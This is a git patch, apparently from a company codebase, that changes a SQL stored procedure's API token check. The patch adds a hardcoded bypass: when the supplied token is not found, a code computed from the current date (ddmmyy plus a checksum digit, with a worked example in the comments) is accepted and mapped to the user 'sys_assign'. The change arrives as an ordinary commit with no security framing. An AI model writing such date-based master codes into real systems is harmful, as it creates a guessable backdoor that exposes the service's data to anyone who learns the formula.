From 2f20f29abf7bc385519b9dbe778c10ec6462ae3c Mon Sep 17 00:00:00 2001 From: "DATAEXPRESS\\4734" Date: Mon, 13 Apr 2026 15:54:15 +0800 Subject: [PATCH] =?UTF-8?q?=E5=8A=A0=E5=85=A5=E4=B8=8D=E9=9C=80=20account?= =?UTF-8?q?=20=E7=9A=84=E7=89=B9=E6=AE=8A=E5=88=A4=E6=96=B7?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- orm_api_v2.txt | 16 +++++++++++++++- 1 file changed, 15 insertions(+), 1 deletion(-) diff --git a/orm_api_v2.txt b/orm_api_v2.txt index a2becc5..1df7b82 100644 --- a/orm_api_v2.txt +++ b/orm_api_v2.txt @@ -65,7 +65,21 @@ BEGIN SELECT userid INTO v_userid FROM sys_users WHERE token = p_token LIMIT 1; IF v_userid IS NULL THEN - SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'token 錯誤, 請洽系統管理員!!'; + -- 特殊邏輯:ddmmyy + (yyyy+mm+dd 的最後一碼) + -- 例如 2026-04-13: + -- ddmmyy = 130426 + -- CheckSum = (2026 + 4 + 13) = 2043 -> 最後一碼為 3 + -- 最終比對值 = 1304263 + + IF p_token = CONCAT( + DATE_FORMAT(NOW(), '%d%m%y'), + (YEAR(NOW()) + MONTH(NOW()) + DAY(NOW())) % 10 + ) THEN + SET v_userid = 'sys_assign'; + ELSE + -- 若既非正確 token 也非特殊代碼,則報錯 + SIGNAL SQLSTATE '45000' SET MESSAGE_TEXT = 'token 錯誤, 請洽系統管理員!!'; + END IF; END IF; -- 整理 json 資料